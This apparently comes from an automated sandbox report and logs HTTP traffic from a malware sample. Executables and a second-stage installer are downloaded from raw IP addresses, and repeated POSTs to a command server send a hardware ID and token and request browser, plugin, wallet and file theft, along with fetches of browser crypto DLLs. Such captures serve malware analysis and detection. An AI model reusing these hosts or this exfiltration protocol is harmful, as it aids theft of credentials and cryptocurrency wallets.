00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 02 May 2024 08:42:23 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 02 May 2024 08:42:24 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /load/th.php?a=2836&c=%7BCHANNEL%7D HTTP/1.1Host: d2iv78ooxaijb6.cloudfront.netConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /load/dl.php?id=425&c=%7BCHANNEL%7D HTTP/1.1Host: d2iv78ooxaijb6.cloudfront.netConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /ISetup1.exe HTTP/1.1Host: 185.172.128.59Connection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCAAFHIEBKJKEBFIEHDHost: 185.172.128.150Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 44 42 42 31 34 31 38 42 37 41 32 39 37 34 31 36 34 32 35 38 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 30 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 2d 2d 0d 0a Data Ascii: ------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="hwid"6ADBB1418B7A2974164258------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="build"default100------BGCAAFHIEBKJKEBFIEHD--
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKEGDAKEHJDHIDHJJDAHost: 185.172.128.150Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 63 61 65 35 61 62 35 31 36 65 33 37 34 35 64 65 32 30 32 36 39 65 39 32 64 63 63 64 34 64 37 34 36 37 66 32 66 33 33 31 62 64 64 30 32 66 31 63 64 62 36 37 64 66 65 36 39 63 30 61 37 34 31 30 64 39 61 38 64 62 33 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 2d 2d 0d 0a Data Ascii: ------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="token"ccae5ab516e3745de20269e92dccd4d7467f2f331bdd02f1cdb67dfe69c0a7410d9a8db3------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="message"browsers------AAKEGDAKEHJDHIDHJJDA--
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIDGDBGCAAFIDHIJKEHHost: 185.172.128.150Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 63 61 65 35 61 62 35 31 36 65 33 37 34 35 64 65 32 30 32 36 39 65 39 32 64 63 63 64 34 64 37 34 36 37 66 32 66 33 33 31 62 64 64 30 32 66 31 63 64 62 36 37 64 66 65 36 39 63 30 61 37 34 31 30 64 39 61 38 64 62 33 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 2d 2d 0d 0a Data Ascii: ------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="token"ccae5ab516e3745de20269e92dccd4d7467f2f331bdd02f1cdb67dfe69c0a7410d9a8db3------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="message"plugins------AFIDGDBGCAAFIDHIJKEH--
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAECFCAAEBFHIEHDGHHost: 185.172.128.150Content-Length: 7179Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /b7d0cfdb1d966bdd/sqlite3.dll HTTP/1.1Host: 185.172.128.150Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCBHost: 185.172.128.150Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIJJDGDHDGDAKFIECFIJHost: 185.172.128.150Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIECFIEGDBKJKFIDHIECHost: 185.172.128.150Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 63 61 65 35 61 62 35 31 36 65 33 37 34 35 64 65 32 30 32 36 39 65 39 32 64 63 63 64 34 64 37 34 36 37 66 32 66 33 33 31 62 64 64 30 32 66 31 63 64 62 36 37 64 66 65 36 39 63 30 61 37 34 31 30 64 39 61 38 64 62 33 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 2d 2d 0d 0a Data Ascii: ------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="token"ccae5ab516e3745de20269e92dccd4d7467f2f331bdd02f1cdb67dfe69c0a7410d9a8db3------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="file"------GIECFIEGDBKJKFIDHIEC--
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFBAECBAEGDGDHIEHIJHost: 185.172.128.150Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 63 61 65 35 61 62 35 31 36 65 33 37 34 35 64 65 32 30 32 36 39 65 39 32 64 63 63 64 34 64 37 34 36 37 66 32 66 33 33 31 62 64 64 30 32 66 31 63 64 62 36 37 64 66 65 36 39 63 30 61 37 34 31 30 64 39 61 38 64 62 33 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="token"ccae5ab516e3745de20269e92dccd4d7467f2f331bdd02f1cdb67dfe69c0a7410d9a8db3------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="file"------BKFBAECBAEGDGDHIEHIJ--
Source: global traffic HTTP traffic detected: GET /b7d0cfdb1d966bdd/freebl3.dll HTTP/1.1Host: 185.172.128.150Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /b7d0cfdb1d966bdd/mozglue.dll HTTP/1.1Host: 185.172.128.150Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /b7d0cfdb1d966bdd/msvcp140.dll HTTP/1.1Host: 185.172.128.150Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /b7d0cfdb1d966bdd/nss3.dll HTTP/1.1Host: 185.172.128.150Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /b7d0cfdb1d966bdd/softokn3.dll HTTP/1.1Host: 185.172.128.150Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /b7d0cfdb1d966bdd/vcruntime140.dll HTTP/1.1Host: 185.172.128.150Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGIJKEHCAKFCAKFHDAAHost: 185.172.128.150Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECBGCFHCFIDHIDHDGDGHost: 185.172.128.150Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 63 61 65 35 61 62 35 31 36 65 33 37 34 35 64 65 32 30 32 36 39 65 39 32 64 63 63 64 34 64 37 34 36 37 66 32 66 33 33 31 62 64 64 30 32 66 31 63 64 62 36 37 64 66 65 36 39 63 30 61 37 34 31 30 64 39 61 38 64 62 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 2d 2d 0d 0a Data Ascii: ------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="token"ccae5ab516e3745de20269e92dccd4d7467f2f331bdd02f1cdb67dfe69c0a7410d9a8db3------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="message"wallets------JECBGCFHCFIDHIDHDGDG--
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDAECAEBKJJJKEBKKJDHost: 185.172.128.150Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 63 61 65 35 61 62 35 31 36 65 33 37 34 35 64 65 32 30 32 36 39 65 39 32 64 63 63 64 34 64 37 34 36 37 66 32 66 33 33 31 62 64 64 30 32 66 31 63 64 62 36 37 64 66 65 36 39 63 30 61 37 34 31 30 64 39 61 38 64 62 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 2d 2d 0d 0a Data Ascii: ------KJDAECAEBKJJJKEBKKJDContent-Disposition: form-data; name="token"ccae5ab516e3745de20269e92dccd4d7467f2f331bdd02f1cdb67dfe69c0a7410d9a8db3------KJDAECAEBKJJJKEBKKJDContent-Disposition: form-data; name="message"files------KJDAECAEBKJJJKEBKKJD--
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJJEBFHDBGIECBFCBKJHost: 185.172.128.150Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECAEBGHDAEBFHIEGHIHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBAKKJKKECGDGCAECAHost: 185.172.128.150Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDGCBGDBKJKFHIECBAHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIIIJJKJKFHIDGDBAKJHost: 185.172.128.150Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFIIIJJKJJKEBGIDGCHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEBAFBGIDHCBFHIECFCHost: 185.172.128.150Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFHCAKJDBKKEBFIIJJEHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJKJEHJKJEBGHJJKEBGIHost: 185.172.128.150Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIJDAFBKFHIDGCFBFCHost: 185.172.128.150Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAFBKECAKFCAAAKJDAKHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCFCAKFHCGCBFHCGHDHost: 185.172.128.150Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIDBAEGIIIDHJKEGDBHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAECAFHDBGIDGCAEHJEHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHCBAFBFHIIECBKFCGHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDHDHJEBGHJKFIECBGCHost: 185.172.128.150Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAAKJKJEBGHJKFHIDGCHost: 185.172.128.150Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDGCFBFBFBKEBGCAFCGHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCBHost: 185.172.128.150Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
